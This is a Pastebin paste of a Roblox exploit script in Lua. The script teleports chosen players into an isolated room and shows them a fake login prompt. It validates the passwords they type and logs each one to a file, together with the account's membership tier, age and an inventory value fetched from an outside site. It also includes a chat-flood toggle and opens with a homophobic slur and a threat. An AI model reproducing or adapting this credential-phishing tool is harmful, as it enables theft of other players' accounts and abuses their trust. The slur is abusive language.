Guest User

adagagasda

a guest
Jan 7th, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.02 KB | None | 0 0
  1. --Dont leak faggot, or hell will be released
  2.  
  3. local MyRoom = "BasicRoom"
  4.  
  5. local StorageType = 2
  6.  
  7. local ScamType = "Pick"
  8.  
  9. local TargetList = {}
  10.  
  11. local Bypassers = {
  12. {}
  13. }
  14.  
  15. local Trello = {
  16. Enabled = false,
  17. List = "MRList",
  18. DumpList = "MRDumps",
  19. TrelloTargetList = "MRTargetList",
  20. DevKey = "",
  21. Token = "",
  22. }
  23.  
  24. local floodChat = false
  25.  
  26. local writeAccounts = true
  27. local fileName = "MGX7List"
  28.  
  29. BypassKey = "v3rm"
  30. BypassKeyEnabled = true
  31. BypassKeyRules = true
  32.  
  33. local kickLogin = false
  34.  
  35. local RAPApi = true
  36. ------------------------------------------------------------------------
  37.  
  38. local MainFolder = game:GetObjects("rbxassetid://432005266")[1]
  39. MainFolder.Parent = game.ReplicatedStorage
  40.  
  41. local player = game.Players.LocalPlayer
  42.  
  43. local CurrentlyScamming = {}
  44.  
  45. local MRStorage
  46.  
  47. local guiTool = MainFolder.Login
  48.  
  49. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  50. guiTool.LocalScript:Destroy()
  51. replaceScript.Parent = guiTool
  52.  
  53. local ruleTool = MainFolder["Bypass Rules"]
  54.  
  55. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  56. ruleTool.LocalScript:Destroy()
  57. replaceScript.Parent = ruleTool
  58.  
  59. local pickGui = MainFolder.PickGui
  60.  
  61. function checkPass(pass, playa)
  62. if BypassKeyEnabled and pass == BypassKey then
  63. if BypassKeyRules then
  64. local newTool = ruleTool:Clone()
  65. newTool.Parent = workspace
  66. newTool.Handle.CanCollide = false
  67. newTool.Handle.CFrame = playa.Character.Head.CFrame
  68. end
  69. return true
  70. end
  71. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  72. return false
  73. end
  74. local foundNums = 0
  75. local foundLetters = 0
  76. if string.find(pass, " ") then
  77. return false
  78. end
  79. if pass:len() < 6 or pass:len() > 20 then
  80. return false
  81. end
  82. for i=1,pass:len() do
  83. if pass:sub(i,i):match("%d") ~= nil then
  84. foundNums = foundNums + 1
  85. end
  86. end
  87. if foundNums < 2 then
  88. return false
  89. end
  90. for i=1,pass:len() do
  91. if pass:sub(i,i):match("%a") ~= nil then
  92. foundLetters = foundLetters + 1
  93. end
  94. end
  95. if foundLetters < 4 then
  96. return false
  97. end
  98. return true
  99. end
  100.  
  101. function getUText(root, val)
  102. local found
  103. if val then
  104. found = val
  105. end
  106. for i,v in pairs(root:GetChildren()) do
  107. if v.Name == "UText" then
  108. found = v
  109. break
  110. end
  111. found = getUText(v,found)
  112. end
  113. return found
  114. end
  115.  
  116. function getPText(root, val)
  117. local found
  118. if val then
  119. found = val
  120. end
  121. for i,v in pairs(root:GetChildren()) do
  122. if v.Name == "PText" then
  123. found = v
  124. break
  125. end
  126. found = getPText(v,found)
  127. end
  128. return found
  129. end
  130.  
  131. function getILPopUp(root, val)
  132. local found
  133. if val then
  134. found = val
  135. end
  136. for i,v in pairs(root:GetChildren()) do
  137. if v.Name == "ILPopUp" then
  138. found = v
  139. break
  140. end
  141. found = getILPopUp(v,found)
  142. end
  143. return found
  144. end
  145.  
  146. function unscPlayer(plr)
  147. for i,v in pairs(CurrentlyScamming) do
  148. if plr == v.Player then
  149. table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  150. table.remove(CurrentlyScamming,i)
  151. wait()
  152. while plr.Backpack:FindFirstChild("Login") do
  153. plr.Backpack.Login:Destroy()
  154. wait()
  155. end
  156. while plr.Character:FindFirstChild("Login") do
  157. plr.Character.Login:Destroy()
  158. wait()
  159. end
  160. plr.Character:WaitForChild("Torso")
  161. plr.Character:WaitForChild("HumanoidRootPart")
  162. plr.Character.HumanoidRootPart.Anchored = false
  163. plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  164. v.Player.CameraMaxZoomDistance = 400
  165. v.Player.CameraMinZoomDistance = 0
  166. v.RoomModel:Destroy()
  167. end
  168. end
  169. end
  170.  
  171. function scPlayer(plr)
  172. ypcall(function()
  173. local debounce = false
  174. local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  175. if roomCheck then
  176. local roomId = #CurrentlyScamming + 1
  177. local newRoom = roomCheck:Clone()
  178. newRoom.Parent = workspace
  179. newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  180.  
  181. local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  182. table.insert(CurrentlyScamming,newPacket)
  183. --[[
  184. newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  185. if debounce == false then
  186. if playa.Backpack:FindFirstChild("Login") then
  187. if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  188. debounce = true
  189. getILPopUp(newRoom).Visible = false
  190. getILPopUp(playa.Backpack.Login).Visible = false
  191. wait(0.5)
  192. if playa.Backpack:FindFirstChild("Login") then
  193. if checkPass(getPText(playa.Backpack.Login).Text) then
  194. print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  195. unscPlayer(plr)
  196. else
  197. getILPopUp(newRoom).Visible = true
  198. getILPopUp(playa.Backpack.Login).Visible = true
  199. getPText(playa.Backpack.Login).Text = ""
  200. end
  201. end
  202. end
  203. end
  204. debounce = false
  205. end
  206. end)
  207. --]]
  208. end
  209. end)
  210. end
  211.  
  212. function isBypass(plr)
  213. local bypass = false
  214. for i,v in pairs(Bypassers) do
  215. if v.Name == plr.Name or v.ID == plr.UserId then
  216. bypass = true
  217. end
  218. end
  219. return bypass
  220. end
  221.  
  222. function isScamming(plr)
  223. local isScam = false
  224. for i,v in pairs(CurrentlyScamming) do
  225. if v.Player.Name == plr then
  226. isScam = true
  227. end
  228. end
  229. return isScam
  230. end
  231.  
  232. function fixPlayers()
  233. for i,v in pairs(CurrentlyScamming) do
  234. ypcall(function()
  235. if v.Player.Character:FindFirstChild("Login") then
  236. if v.Player.Character.Login:FindFirstChild("SprayGui") then
  237. local tempTool = v.Player.Character:FindFirstChild("Login")
  238. tempTool.Parent = v.RoomModel
  239. tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  240. end
  241. end
  242. end)
  243. end
  244. end
  245.  
  246. function BCtoDumpStr(str)
  247. local res = ""
  248. if str == "Enum.MembershipType.BuildersClub" then
  249. res = "[BC] "
  250. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  251. res = "[TBC] "
  252. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  253. res = "[OBC] "
  254. elseif str == "Enum.MembershipType.None" then
  255. res = ""
  256. end
  257. return res
  258. end
  259.  
  260. function getRap(user)
  261. local rap = "Error."
  262. if RAPApi then
  263. ypcall(function()
  264. local http = game:GetService("HttpService")
  265. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  266. rap = tostring(rawrap.rap)
  267. end)
  268. else
  269. rap = "Disabled."
  270. end
  271. return rap
  272. end
  273.  
  274. function logAccount(user,pass)
  275. local playerName = user.Name
  276. local playerAge = tostring(user.AccountAge)
  277. local playerRAP = getRap(playerName)
  278.  
  279. if print then
  280. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  281. end
  282. if readfile and writefile then
  283. if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
  284. writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  285. else
  286. local tempFile = readfile(getelysianpath()..fileName..".txt")
  287. writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  288. end
  289. end
  290. end
  291.  
  292. function teleportVictims()
  293. for i,v in pairs(CurrentlyScamming) do
  294. ypcall(function()
  295. v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  296. v.Player.Character.HumanoidRootPart.Anchored = true
  297. if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
  298. if not v.RoomModel:FindFirstChild("Login") then
  299. local tempTools = {}
  300. for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  301. table.insert(tempTools,v2:Clone())
  302. v2:Destroy()
  303. end
  304. local newTool = guiTool:Clone()
  305. newTool.Parent = v.RoomModel
  306. newTool.Handle.CanCollide = false
  307. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  308. newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
  309. getUText(newTool).Text = v.Player.Name
  310. spawn(function()
  311. wait(2)
  312. for i2,v2 in pairs(tempTools) do
  313. v2.Parent = v.Player.Backpack
  314. end
  315. end)
  316. newTool.Changed:connect(function(prop)
  317. if not isScamming(v.Player.Name) then return end
  318. if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  319. if v.Player.Backpack:FindFirstChild("Login") then
  320. if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  321. getILPopUp(v.Player.Backpack.Login).Visible = false
  322. if v.Player.Backpack:FindFirstChild("Login") then
  323. if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
  324. logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
  325. unscPlayer(v.Player)
  326. spawn(function()
  327. wait(0.5)
  328. if kickLogin then
  329. if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  330. v.Player:Remove()
  331. end
  332. end
  333. end)
  334. else
  335. getILPopUp(v.Player.Backpack.Login).Visible = true
  336. getPText(v.Player.Backpack.Login).Text = ""
  337. wait()
  338. if not v.Player.Character:FindFirstChild("Login") then
  339. newTool.Parent = v.RoomModel
  340. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  341. end
  342. end
  343. end
  344. end
  345. end
  346. end
  347. end)
  348. end
  349. end
  350. end)
  351. end
  352. end
  353.  
  354. wait()
  355.  
  356. game.Players.PlayerRemoving:connect(function(playa)
  357. for i,v in pairs(CurrentlyScamming) do
  358. if v.Player == playa then
  359. table.remove(CurrentlyScamming,i)
  360. end
  361. end
  362. end)
  363.  
  364. --[[
  365. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  366. local infoText = Instance.new("TextLabel",infoGui)
  367. infoText.Position = UDim2.new(0,0,1,-20)
  368. infoText.Size = UDim2.new(1,0,0,20)
  369. infoText.FontSize = "Size18"
  370. infoText.Font = "SourceSansBold"
  371. infoText.BackgroundTransparency = 1
  372. infoText.TextColor3 = Color3.new(1,1,1)
  373. infoText.TextXAlignment = "Right"
  374. infoText.Text = "Press 'p' to toggle chat spam."
  375. --]]
  376.  
  377. local mouse = game.Players.LocalPlayer:GetMouse()
  378. mouse.KeyDown:connect(function(key)
  379. if key == "p" then
  380. floodChat = not floodChat
  381. end
  382. end)
  383.  
  384. spawn(function()
  385. while wait(3) do
  386. fixPlayers()
  387. end
  388. end)
  389.  
  390. while wait() do
  391. teleportVictims()
  392. if floodChat then
  393. game.Players:Chat(".")
  394. game.Players:Chat(".")
  395. end
  396. if ScamType == "Normal" then
  397. for i,v in pairs(game.Players:GetPlayers()) do
  398. if StorageType == 1 then
  399. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  400.  
  401. end
  402. elseif StorageType == 2 then
  403. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  404. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  405. MRStorage.Name = "MRStorage"
  406. end
  407. if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  408. scPlayer(v)
  409. end
  410. end
  411. end
  412. elseif ScamType == "Pick" then
  413. if StorageType == 1 then
  414. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  415.  
  416. end
  417. elseif StorageType == 2 then
  418. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  419. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  420. MRStorage.Name = "MRStorage"
  421. end
  422. if not game.CoreGui:FindFirstChild("PickGui") then
  423. local newPickGui = pickGui:Clone()
  424. newPickGui.Parent = game.CoreGui
  425. spawn(function()
  426. local pickGuiList = newPickGui.MainFrame.AccList
  427. local pickGuiResult = newPickGui.MainFrame.UserResult
  428. pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  429. local function updatePickList()
  430. pickGuiList:ClearAllChildren()
  431. for i,v in pairs(game.Players:GetPlayers()) do
  432. if v ~= player then
  433. local newRes = pickGuiResult:Clone()
  434. newRes.PlayerName.Text = v.Name
  435. newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  436. newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  437. if isScamming(v.Name) then
  438. newRes.PlayerStatus.Text = "Scamming..."
  439. end
  440. if isBypass(v) then
  441. newRes.PlayerStatus.Text = "Scammed"
  442. end
  443. newRes.Parent = pickGuiList
  444. pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  445. newRes.Visible = true
  446. newRes.MouseButton1Down:connect(function()
  447. if not isScamming(v.Name) then
  448. scPlayer(v)
  449. end
  450. end)
  451. end
  452. end
  453. end
  454. updatePickList()
  455. newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  456. updatePickList()
  457. end)
  458. end)
  459. end
  460. end
  461. end
  462. end
Add Comment
Please, Sign In to add comment